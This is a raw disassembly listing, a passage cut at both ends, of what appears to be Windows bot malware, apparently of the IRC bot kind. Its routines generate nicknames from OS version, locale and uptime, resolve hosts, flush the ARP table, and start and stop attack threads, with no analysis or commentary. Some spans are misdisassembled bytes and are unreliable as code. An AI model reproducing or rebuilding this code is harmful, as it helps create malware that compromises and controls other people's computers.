CODE XREF: sub_40A729+2BEj lea eax, [ebp+var_200] push offset unk_433F80 push eax call sub_41BF36 cmp [ebp+arg_C], esi pop ecx pop ecx jnz short loc_40AA42 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_4099D2 add esp, 14h loc_40AA42: ; CODE XREF: sub_40A729+302j lea eax, [ebp+var_200] push eax call sub_4157A6 pop ecx pop edi pop esi pop ebx leave retn sub_40A729 endp ; =============== S U B R O U T I N E ======================================= sub_40AA54 proc near ; CODE XREF: sub_4018A1+4Fp ; .nsp0:004076F8p ... arg_0 = dword ptr 4 push [esp+arg_0] call dword_4D1230 ; inet_addr cmp eax, 0FFFFFFFFh jnz short locret_40AA7C push [esp+arg_0] call dword_4D1274 ; gethostbyname test eax, eax jnz short loc_40AA75 or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_40AA75: ; CODE XREF: sub_40AA54+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_40AA7C: ; CODE XREF: sub_40AA54+Dj retn sub_40AA54 endp ; =============== S U B R O U T I N E ======================================= sub_40AA7D proc near ; CODE XREF: sub_4018A1+D6p mov ecx, dword_4D110C xor eax, eax test ecx, ecx jz short locret_40AA8B call ecx ; dword_4D110C locret_40AA8B: ; CODE XREF: sub_40AA7D+Aj retn sub_40AA7D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AA8C proc near ; CODE XREF: .nsp0:loc_403F58p var_88 = byte ptr -88h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 88h push ebx push esi push edi push 1 pop ebx lea eax, [ebp+var_8] xor edi, edi push ebx push eax push edi xor esi, esi mov [ebp+var_8], edi mov [ebp+var_4], ebx call dword_4D126C ; GetIpNetTable mov ecx, eax sub ecx, edi jz loc_40AB52 sub ecx, 32h jz loc_40AB4B sub ecx, 48h jz short loc_40AAEC sub ecx, 6Eh jz short loc_40AAE5 loc_40AACE: ; CODE XREF: sub_40AA8C+8Bj push eax lea eax, [ebp+var_88] push offset unk_434194 push eax call sub_41BF36 add esp, 0Ch jmp short loc_40AB2C ; --------------------------------------------------------------------------- loc_40AAE5: ; CODE XREF: sub_40AA8C+40j push offset unk_434170 jmp short loc_40AB1E ; --------------------------------------------------------------------------- loc_40AAEC: ; CODE XREF: sub_40AA8C+3Bj push [ebp+var_8] call sub_41BBCB push [ebp+var_8] mov esi, eax push edi push esi call sub_41BC40 add esp, 10h cmp esi, edi jz short loc_40AB19 lea eax, [ebp+var_8] push ebx push eax push esi call dword_4D126C ; GetIpNetTable cmp eax, edi jz short loc_40AB52 jmp short loc_40AACE ; --------------------------------------------------------------------------- loc_40AB19: ; CODE XREF: sub_40AA8C+79j push offset unk_434140 loc_40AB1E: ; CODE XREF: sub_40AA8C+5Ej ; sub_40AA8C+C4j lea eax, [ebp+var_88] push eax call sub_41BF36 pop ecx pop ecx loc_40AB2C: ; CODE XREF: sub_40AA8C+57j lea eax, [ebp+var_88] mov [ebp+var_4], edi push eax call sub_4157A6 pop ecx loc_40AB3C: ; CODE XREF: sub_40AA8C+C8j ; sub_40AA8C+DCj push esi call sub_41B961 mov eax, [ebp+var_4] pop ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40AB4B: ; CODE XREF: sub_40AA8C+32j push offset unk_434110 jmp short loc_40AB1E ; --------------------------------------------------------------------------- loc_40AB52: ; CODE XREF: sub_40AA8C+29j ; sub_40AA8C+89j cmp [esi], edi jbe short loc_40AB3C lea ebx, [esi+4] loc_40AB59: ; CODE XREF: sub_40AA8C+DAj push ebx call dword_4D1268 ; DeleteIpNetEntry inc edi add ebx, 18h cmp edi, [esi] jb short loc_40AB59 jmp short loc_40AB3C sub_40AA8C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AB6A proc near ; CODE XREF: .nsp0:00403D12p ; .nsp0:00403E4Ap ... var_14 = byte ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push 10h pop eax mov [ebp+var_4], eax push eax lea eax, [ebp+var_14] push 0 push eax call sub_41BC40 add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax push [ebp+arg_0] call dword_4D1194 ; getsockname movzx eax, [ebp+var_D] push eax mov esi, offset dword_4D1320 movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_F] push eax movzx eax, [ebp+var_10] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push esi call sub_41BF36 add esp, 18h mov eax, esi pop esi leave retn sub_40AB6A endp ; =============== S U B R O U T I N E ======================================= sub_40ABC3 proc near ; CODE XREF: sub_413107+24Cp ; sub_413107+292p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] xor eax, eax cmp esi, 1 jle short loc_40ABEC mov ecx, esi push edi shr ecx, 1 mov edx, ecx neg edx lea esi, [esi+edx*2] mov edx, [esp+8+arg_0] loc_40ABDF: ; CODE XREF: sub_40ABC3+24j movzx edi, word ptr [edx] add eax, edi inc edx inc edx dec ecx jnz short loc_40ABDF pop edi jmp short loc_40ABF0 ; --------------------------------------------------------------------------- loc_40ABEC: ; CODE XREF: sub_40ABC3+Aj mov edx, [esp+4+arg_0] loc_40ABF0: ; CODE XREF: sub_40ABC3+27j test esi, esi pop esi jz short loc_40ABFA movzx ecx, byte ptr [edx] add eax, ecx loc_40ABFA: ; CODE XREF: sub_40ABC3+30j mov ecx, eax and eax, 0FFFFh shr ecx, 10h add ecx, eax mov eax, ecx shr eax, 10h add eax, ecx not eax retn sub_40ABC3 endp ; =============== S U B R O U T I N E ======================================= sub_40AC10 proc near ; CODE XREF: sub_40AFA5+49p ; DATA XREF: .nsp0:off_4341E0o arg_0 = dword ptr 4 push esi push edi call dword_4270A8 ; GetTickCount push eax call sub_41BF88 call sub_41BF92 xor edx, edx mov ecx, 48Fh div ecx mov edi, [esp+0Ch+arg_0] push off_434248[edx*4] push offset aS_2 ; "%s" push 1Ch push edi call sub_41C030 xor esi, esi add esp, 14h cmp dword_429098, esi jle short loc_40AC77 loc_40AC51: ; CODE XREF: sub_40AC10+65j call sub_41BF92 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_432140 push 1Ch push edi call sub_41C030 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AC51 loc_40AC77: ; CODE XREF: sub_40AC10+3Fj mov eax, edi pop edi pop esi retn sub_40AC10 endp ; --------------------------------------------------------------------------- push esi push edi call dword_4270A8 ; GetTickCount push eax call sub_41BF88 mov edi, [esp+10h] mov dword ptr [esp], offset aO1 ; "o1" push offset aS_2 ; "%s" push 1Ch push edi call sub_41C030 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40ACD5 loc_40ACAF: ; CODE XREF: .nsp0:0040ACD3j call sub_41BF92 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_432140 push 1Ch push edi call sub_41C030 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40ACAF loc_40ACD5: ; CODE XREF: .nsp0:0040ACADj mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- push ebx push esi push edi call dword_4270A8 ; GetTickCount push eax call sub_41BF88 pop ecx call sub_41BF92 push 3 mov ebx, [esp+14h] cdq pop ecx xor edi, edi idiv ecx mov esi, edx add esi, dword_429098 test esi, esi jle short loc_40AD1D loc_40AD07: ; CODE XREF: .nsp0:0040AD1Bj call sub_41BF92 push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [edi+ebx], dl inc edi cmp edi, esi jl short loc_40AD07 loc_40AD1D: ; CODE XREF: .nsp0:0040AD05j and byte ptr [edi+ebx], 0 pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and dword ptr [ebp-4], 0 push esi push edi mov dword ptr [ebp-8], 100h call dword_4270A8 ; GetTickCount push eax call sub_41BF88 pop ecx lea eax, [ebp-8] mov esi, offset aPc_0 ; "PC" push eax push esi call near ptr 0B40000h jle short near ptr loc_40AD65+1 mov esi, 437EA005h add [edx+41h], ch pop ecx push 1 pop edx loc_40AD63: ; CODE XREF: .nsp0:0040AD6Ej cmp eax, ecx loc_40AD65: ; CODE XREF: .nsp0:0040AD55j jnz short loc_40AD6A mov [ebp-4], edx loc_40AD6A: ; CODE XREF: .nsp0:loc_40AD65j inc ecx cmp ecx, 5Bh jl short loc_40AD63 push 61h pop ecx loc_40AD73: ; CODE XREF: .nsp0:0040AD7Ej cmp eax, ecx jnz short loc_40AD7A mov [ebp-4], edx loc_40AD7A: ; CODE XREF: .nsp0:0040AD75j inc ecx cmp ecx, 7Bh jl short loc_40AD73 mov edi, [ebp+8] push esi push 1Ch push edi call sub_41C030 xor esi, esi add esp, 0Ch cmp dword_429098, esi jle short loc_40ADBF loc_40AD99: ; CODE XREF: .nsp0:0040ADBDj call sub_41BF92 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_432140 push 1Ch push edi call sub_41C030 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AD99 loc_40ADBF: ; CODE XREF: .nsp0:0040AD97j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi call dword_4270A8 ; GetTickCount push eax call sub_41BF88 pop ecx lea eax, [ebp-0Ch] push 0Ah push eax push 7 push 800h call dword_4270C4 ; GetLocaleInfoA mov edi, [ebp+8] lea eax, [ebp-0Ch] push eax push offset aS_3 ; "%s|" push 1Ch push edi call sub_41C030 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AE34 loc_40AE0E: ; CODE XREF: .nsp0:0040AE32j call sub_41BF92 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_432140 push 1Ch push edi call sub_41C030 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AE0E loc_40AE34: ; CODE XREF: .nsp0:0040AE0Cj mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 94h push esi lea eax, [ebp-94h] push edi push eax mov esi, offset byte_443398 mov dword ptr [ebp-94h], 94h call dword_4270C8 ; GetVersionExA call dword_4270A8 ; GetTickCount push eax call sub_41BF88 cmp dword ptr [ebp-90h], 4 pop ecx jnz short loc_40AEBE cmp dword ptr [ebp-8Ch], 0 jnz short loc_40AE9E cmp dword ptr [ebp-84h], 1 jnz short loc_40AE8E mov esi, offset a95 ; "95" loc_40AE8E: ; CODE XREF: .nsp0:0040AE87j cmp dword ptr [ebp-84h], 2 jnz short loc_40AEFA mov esi, offset aNt_0 ; "NT" jmp short loc_40AEFA ; --------------------------------------------------------------------------- loc_40AE9E: ; CODE XREF: .nsp0:0040AE7Ej cmp dword ptr [ebp-8Ch], 0Ah jnz short loc_40AEAE mov esi, offset a98 ; "98" jmp short loc_40AEFA ; --------------------------------------------------------------------------- loc_40AEAE: ; CODE XREF: .nsp0:0040AEA5j cmp dword ptr [ebp-8Ch], 5Ah jnz short loc_40AEF5 mov esi, offset aMe_0 ; "ME" jmp short loc_40AEFA ; --------------------------------------------------------------------------- loc_40AEBE: ; CODE XREF: .nsp0:0040AE75j cmp dword ptr [ebp-90h], 5 jnz short loc_40AEF5 cmp dword ptr [ebp-8Ch], 0 jnz short loc_40AED7 mov esi, offset a2k ; "2K" jmp short loc_40AEFA ; --------------------------------------------------------------------------- loc_40AED7: ; CODE XREF: .nsp0:0040AECEj cmp dword ptr [ebp-8Ch], 1 jnz short loc_40AEE7 mov esi, offset aXp ; "XP" jmp short loc_40AEFA ; --------------------------------------------------------------------------- loc_40AEE7: ; CODE XREF: .nsp0:0040AEDEj cmp dword ptr [ebp-8Ch], 2 mov esi, offset a2k3 ; "2K3" jz short loc_40AEFA loc_40AEF5: ; CODE XREF: .nsp0:0040AEB5j ; .nsp0:0040AEC5j mov esi, offset a??? ; "???" loc_40AEFA: ; CODE XREF: .nsp0:0040AE95j ; .nsp0:0040AE9Cj ... mov edi, [ebp+8] push esi push offset aS_4 ; "[%s]|" push 1Ch push edi call sub_41C030 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AF3E loc_40AF18: ; CODE XREF: .nsp0:0040AF3Cj call sub_41BF92 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_432140 push 1Ch push edi call sub_41C030 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AF18 loc_40AF3E: ; CODE XREF: .nsp0:0040AF16j mov eax, edi pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AF44 proc near ; CODE XREF: sub_40AFA5+5Cp var_1C = byte ptr -1Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch call dword_4270A8 ; GetTickCount xor edx, edx mov ecx, 5265C00h div ecx cmp eax, 64h jbe short loc_40AF72 push eax push offset aD_2 ; "[%d]" lea eax, [ebp+var_1C] push 1Ch push eax call sub_41C030 add esp, 10h loc_40AF72: ; CODE XREF: sub_40AF44+18j lea eax, [ebp+var_1C] push eax call sub_41B890 cmp eax, 2 pop ecx jbe short loc_40AFA0 push 1Ch lea eax, [ebp+var_1C] push [ebp+arg_0] push eax call sub_41C880 lea eax, [ebp+var_1C] push 1Ch push eax push [ebp+arg_0] call sub_41BCA0 add esp, 18h loc_40AFA0: ; CODE XREF: sub_40AF44+3Bj mov eax, [ebp+arg_0] leave retn sub_40AF44 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AFA5 proc near ; CODE XREF: sub_4018A1+7Fp ; sub_401A09+43p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi xor edi, edi mov esi, offset dword_4341DC loc_40AFB1: ; CODE XREF: sub_40AFA5+3Fj cmp [ebp+arg_C], 0 jz short loc_40AFCC lea eax, [esi-0Ch] push eax push [ebp+arg_C] call sub_41C710 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40AFD6 ; --------------------------------------------------------------------------- loc_40AFCC: ; CODE XREF: sub_40AFA5+10j mov ecx, [esi] xor eax, eax cmp ecx, [ebp+arg_4] setz al loc_40AFD6: ; CODE XREF: sub_40AFA5+25j test eax, eax jnz short loc_40AFE8 add esi, 14h inc edi cmp esi, offset off_434254 jl short loc_40AFB1 jmp short loc_40AFF6 ; --------------------------------------------------------------------------- loc_40AFE8: ; CODE XREF: sub_40AFA5+33j push [ebp+arg_0] lea eax, [edi+edi*4] call off_4341E0[eax*4] pop ecx loc_40AFF6: ; CODE XREF: sub_40AFA5+41j cmp [ebp+arg_8], 0 pop edi pop esi jz short loc_40B009 push [ebp+arg_0] call sub_40AF44 pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_40B009: ; CODE XREF: sub_40AFA5+57j mov eax, [ebp+arg_0] pop ebp retn sub_40AFA5 endp ; =============== S U B R O U T I N E ======================================= sub_40B00E proc near ; CODE XREF: .nsp0:0040229Cp ; .nsp0:004024F2p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset dword_443F20 loc_40B016: ; CODE XREF: sub_40B00E+18j cmp byte ptr [eax], 0 jz short loc_40B02A add eax, 234h inc edi cmp eax, offset dword_4D0F20 jl short loc_40B016 jmp short loc_40B075 ; --------------------------------------------------------------------------- loc_40B02A: ; CODE XREF: sub_40B00E+Bj push esi mov esi, edi imul esi, 234h push 1FFh push [esp+0Ch+arg_0] lea eax, dword_443F20[esi] push eax call sub_41BCA0 mov eax, [esp+14h+arg_4] add esp, 0Ch mov dword_444120[esi], eax and dword_444124[esi], 0 mov eax, [esp+8+arg_8] and dword_444128[esi], 0 mov dword_44412C[esi], eax and byte_444138[esi], 0 pop esi loc_40B075: ; CODE XREF: sub_40B00E+1Aj mov eax, edi pop edi retn sub_40B00E endp ; --------------------------------------------------------------------------- byte_40B079 db 55h, 8Bh, 0ECh ; DATA XREF: .nsp0:00404456o dd 98EC81h, 458B0000h, 6A575608h, 0F08B5926h, 0FF68BD8Dh dd 0A5F3FFFFh, 0C7F075FFh, 9480h, 100h, 6C858D00h, 0FFFFFFFFh dd 0FF50F475h, 0FFFF68B5h, 15E8FFh, 75FF0000h, 26CE8ECh dd 0C4830000h, 0E8006A14h, 734F38h, 555E5F30h, 0EC81EC8Bh dd 200h, 6A5756h, 681075FFh, 437FC8h, 0FF0C75FFh, 0E7E80875h dd 83FFFFE8h, 0FF3314C4h, 443F20BEh, 3E8000h, 7D833C74h dd 9750014h, 204BE83h, 75000000h, 8D57562Dh, 0FFFE0085h dd 2E5C68FFh, 0E8500043h, 10E1Ah, 858D016Ah, 0FFFFFE00h dd 501075FFh, 0FF0C75FFh, 9FE80875h, 83FFFFE8h, 0C68124C4h dd 234h, 20FE8147h, 7C004D0Fh, 0C95E5FB0h ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_40B149 proc near ; CODE XREF: .nsp0:004095EAp ; sub_40B1D7+12p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, ebp cmp esi, ebx jle short loc_40B1D1 cmp esi, 400h jge short loc_40B1D1 imul esi, 234h push edi push ebx push dword_444134[esi] lea edi, dword_444134[esi] call near ptr 0B40000h cmp [edi], bx jz short loc_40B181 push 1 pop ebp loc_40B181: ; CODE XREF: sub_40B149+33j mov [edi], ebx lea edi, dword_444128[esi] mov dword_444120[esi], ebx mov dword_444124[esi], ebx mov eax, [edi] cmp eax, ebx jbe short loc_40B1A2 push eax call sub_41A252 pop ecx loc_40B1A2: ; CODE XREF: sub_40B149+50j mov [edi], ebx lea edi, dword_44412C[esi] mov byte ptr dword_443F20[esi], bl mov byte_444138[esi], bl push dword ptr [edi] call dword_4D1288 ; closesocket lea esi, dword_444130[esi] mov [edi], ebx push dword ptr [esi] call dword_4D1288 ; closesocket mov [esi], ebx pop edi loc_40B1D1: ; CODE XREF: sub_40B149+Dj ; sub_40B149+15j mov eax, ebp pop esi pop ebp pop ebx retn sub_40B149 endp ; =============== S U B R O U T I N E ======================================= sub_40B1D7 proc near ; CODE XREF: sub_401135+18p ; .nsp0:00404A3Ap ... push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_443F20 loc_40B1E3: ; CODE XREF: sub_40B1D7+2Aj cmp byte ptr [esi], 0 jz short loc_40B1F4 push edi call sub_40B149 test eax, eax pop ecx jz short loc_40B1F4 inc ebx loc_40B1F4: ; CODE XREF: sub_40B1D7+Fj ; sub_40B1D7+1Aj add esi, 234h inc edi cmp esi, offset dword_4D0F20 jl short loc_40B1E3 pop edi mov eax, ebx pop esi pop ebx retn sub_40B1D7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B209 proc near ; CODE XREF: .nsp0:00405C70p ; .nsp0:00405DBFp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_444124 loc_40B21D: ; CODE XREF: sub_40B209+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_40B23F test edi, edi jle short loc_40B231 cmp [esi], edi jz short loc_40B231 cmp ebx, edi jnz short loc_40B23F loc_40B231: ; CODE XREF: sub_40B209+1Ej ; sub_40B209+22j push ebx call sub_40B149 test eax, eax pop ecx jz short loc_40B23F inc [ebp+var_4] loc_40B23F: ; CODE XREF: sub_40B209+1Aj ; sub_40B209+26j ... add esi, 234h inc ebx cmp esi, offset dword_4D1124 jl short loc_40B21D mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_40B209 endp ; =============== S U B R O U T I N E ======================================= sub_40B256 proc near ; CODE XREF: .nsp0:0040246Bp ; .nsp0:0040381Ap ... arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_444120 loc_40B25D: ; CODE XREF: sub_40B256+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_40B266 inc eax loc_40B266: ; CODE XREF: sub_40B256+Dj add ecx, 234h cmp ecx, offset dword_4D1120 jl short loc_40B25D retn sub_40B256 endp ; =============== S U B R O U T I N E ======================================= sub_40B275 proc near ; CODE XREF: .nsp0:00403EFBp arg_0 = dword ptr 4 xor eax, eax push esi xor edx, edx mov ecx, offset dword_444120 loc_40B27F: ; CODE XREF: sub_40B275+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_40B298 add ecx, 234h inc edx cmp ecx, offset dword_4D1120 jl short loc_40B27F pop esi retn ; --------------------------------------------------------------------------- loc_40B298: ; CODE XREF: sub_40B275+10j mov eax, edx pop esi retn sub_40B275 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B29C proc near ; CODE XREF: .nsp0:00402B55p ; .nsp0:00402D5Bp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 200h xor eax, eax cmp [ebp+arg_1C], eax jz short loc_40B2B5 push [ebp+arg_1C] call sub_41BE29 pop ecx loc_40B2B5: ; CODE XREF: sub_40B29C+Ej push eax push [ebp+arg_18] call sub_40B209 pop ecx test eax, eax pop ecx jle short loc_40B2E1 push eax lea eax, [ebp+var_200] push [ebp+arg_14] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s %s stopped. (%d thread(s) stopped.)" push eax call sub_41BF36 add esp, 14h jmp short loc_40B2FB ; --------------------------------------------------------------------------- loc_40B2E1: ; CODE XREF: sub_40B29C+26j push [ebp+arg_14] lea eax, [ebp+var_200] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s No %s thread found." push eax call sub_41BF36 add esp, 10h loc_40B2FB: ; CODE XREF: sub_40B29C+43j cmp [ebp+arg_C], 0 jnz short loc_40B31B push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4099D2 add esp, 14h loc_40B31B: ; CODE XREF: sub_40B29C+63j lea eax, [ebp+var_200] push eax call sub_4157A6 pop ecx leave retn sub_40B29C endp ; =============== S U B R O U T I N E ======================================= sub_40B32A proc near ; CODE XREF: sub_4018A1+159p ; .nsp0:0040B957p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx imul eax, 234h mov dword_444134[eax], ecx mov dword_444120[eax], ecx mov dword_444124[eax], ecx mov dword_444128[eax], ecx mov dword_44412C[eax], ecx mov dword_444130[eax], ecx mov byte ptr dword_443F20[eax], cl mov byte_444138[eax], cl retn sub_40B32A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B367 proc near ; CODE XREF: .nsp0:00409875p ; sub_40B495+6Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push 1 pop eax loc_40B371: ; CODE XREF: sub_40B367+68j mov cl, [esi] test cl, cl jz short loc_40B3D1 cmp eax, 1 jnz short loc_40B3D1 mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_40B3D1 cmp cl, 2Ah jz short loc_40B3B8 cmp cl, 3Fh jz short loc_40B39B cmp cl, 5Bh jz short loc_40B3A0 xor eax, eax cmp cl, dl setz al loc_40B39B: ; CODE XREF: sub_40B367+26j inc [ebp+arg_4] jmp short loc_40B3CB ; --------------------------------------------------------------------------- loc_40B3A0: ; CODE XREF: sub_40B367+2Bj lea eax, [ebp+arg_4] inc esi push eax lea eax, [ebp+arg_0] push eax mov [ebp+arg_0], esi call sub_40B3FD mov esi, [ebp+arg_0] pop ecx pop ecx jmp short loc_40B3CB ; --------------------------------------------------------------------------- loc_40B3B8: ; CODE XREF: sub_40B367+21j lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_40B495 mov esi, [ebp+arg_0] pop ecx pop ecx dec esi loc_40B3CB: ; CODE XREF: sub_40B367+37j ; sub_40B367+4Fj inc esi mov [ebp+arg_0], esi jmp short loc_40B371 ; --------------------------------------------------------------------------- loc_40B3D1: ; CODE XREF: sub_40B367+Ej ; sub_40B367+13j ... cmp byte ptr [esi], 2Ah jnz short loc_40B3E1 cmp eax, 1 jnz short loc_40B3F8 inc esi mov [ebp+arg_0], esi jmp short loc_40B3D1 ; --------------------------------------------------------------------------- loc_40B3E1: ; CODE XREF: sub_40B367+6Dj cmp eax, 1 jnz short loc_40B3F8 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_40B3F8 cmp byte ptr [esi], 0 jnz short loc_40B3F8 push 1 pop eax jmp short loc_40B3FA ; --------------------------------------------------------------------------- loc_40B3F8: ; CODE XREF: sub_40B367+72j ; sub_40B367+7Dj ... xor eax, eax loc_40B3FA: ; CODE XREF: sub_40B367+8Fj pop esi pop ebp retn sub_40B367 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B3FD proc near ; CODE XREF: sub_40B367+45p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov edx, [ebp+arg_0] push edi xor edi, edi push 1 mov ecx, [edx] and [ebp+var_8], edi pop eax cmp byte ptr [ecx], 21h mov [ebp+var_4], eax jnz short loc_40B41E inc ecx mov [ebp+var_8], eax mov [edx], ecx loc_40B41E: ; CODE XREF: sub_40B3FD+19j push ebx push esi loc_40B420: ; CODE XREF: sub_40B3FD+7Bj mov ecx, [edx] mov bl, [ecx] cmp bl, 5Dh jnz short loc_40B42E cmp [ebp+var_4], eax jnz short loc_40B47A loc_40B42E: ; CODE XREF: sub_40B3FD+2Aj test edi, edi jnz short loc_40B46F cmp bl, 2Dh jnz short loc_40B463 mov al, [ecx+1] lea esi, [ecx+1] mov cl, [ecx-1] cmp cl, al jge short loc_40B463 cmp al, 5Dh jz short loc_40B463 cmp [ebp+var_4], edi jnz short loc_40B463 mov ebx, [ebp+arg_4] mov ebx, [ebx] mov bl, [ebx] cmp bl, cl jl short loc_40B46F cmp bl, al jg short loc_40B46F push 1 mov [edx], esi pop edi jmp short loc_40B46F ; --------------------------------------------------------------------------- loc_40B463: ; CODE XREF: sub_40B3FD+38j ; sub_40B3FD+45j ... mov eax, [ebp+arg_4] mov eax, [eax] cmp bl, [eax] jnz short loc_40B46F push 1 pop edi loc_40B46F: ; CODE XREF: sub_40B3FD+33j ; sub_40B3FD+59j ... inc dword ptr [edx] and [ebp+var_4], 0 push 1 pop eax jmp short loc_40B420 ; --------------------------------------------------------------------------- loc_40B47A: ; CODE XREF: sub_40B3FD+2Fj cmp [ebp+var_8], eax pop esi pop ebx jnz short loc_40B487 mov ecx, eax sub ecx, edi mov edi, ecx loc_40B487: ; CODE XREF: sub_40B3FD+82j cmp edi, eax jnz short loc_40B490 mov eax, [ebp+arg_4] inc dword ptr [eax] loc_40B490: ; CODE XREF: sub_40B3FD+8Cj mov eax, edi pop edi leave retn sub_40B3FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B495 proc near ; CODE XREF: sub_40B367+59p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_4] mov [ebp+var_4], 1 inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] xor ebx, ebx loc_40B4B1: ; CODE XREF: sub_40B495+3Aj cmp [eax], bl jz short loc_40B4D1 mov cl, [ecx] cmp cl, 3Fh jz short loc_40B4C6 cmp cl, 2Ah jnz short loc_40B4D1 cmp cl, 3Fh jnz short loc_40B4C9 loc_40B4C6: ; CODE XREF: sub_40B495+25j inc eax mov [edi], eax loc_40B4C9: ; CODE XREF: sub_40B495+2Fj inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] jmp short loc_40B4B1 ; --------------------------------------------------------------------------- loc_40B4D1: ; CODE XREF: sub_40B495+1Ej ; sub_40B495+2Aj ... mov eax, [esi] cmp byte ptr [eax], 2Ah jnz short loc_40B4DC inc dword ptr [esi] jmp short loc_40B4D1 ; --------------------------------------------------------------------------- loc_40B4DC: ; CODE XREF: sub_40B495+41j mov eax, [edi] mov cl, [eax] cmp cl, bl jnz short loc_40B4FD mov edx, [esi] cmp [edx], bl jz short loc_40B4EE xor eax, eax jmp short loc_40B55D ; --------------------------------------------------------------------------- loc_40B4EE: ; CODE XREF: sub_40B495+53j cmp cl, bl jnz short loc_40B4FD mov ecx, [esi] cmp [ecx], bl jnz short loc_40B4FD push 1 pop eax jmp short loc_40B55D ; --------------------------------------------------------------------------- loc_40B4FD: ; CODE XREF: sub_40B495+4Dj ; sub_40B495+5Bj ... push eax push dword ptr [esi] call sub_40B367 pop ecx test eax, eax pop ecx jnz short loc_40B547 loc_40B50B: ; CODE XREF: sub_40B495+B0j inc dword ptr [edi] mov eax, [edi] loc_40B50F: ; CODE XREF: sub_40B495+90j mov ecx, [esi] mov dl, [eax] mov cl, [ecx] cmp cl, dl jz short loc_40B527 cmp cl, 5Bh jz short loc_40B527 cmp dl, bl jz short loc_40B527 inc eax mov [edi], eax jmp short loc_40B50F ; --------------------------------------------------------------------------- 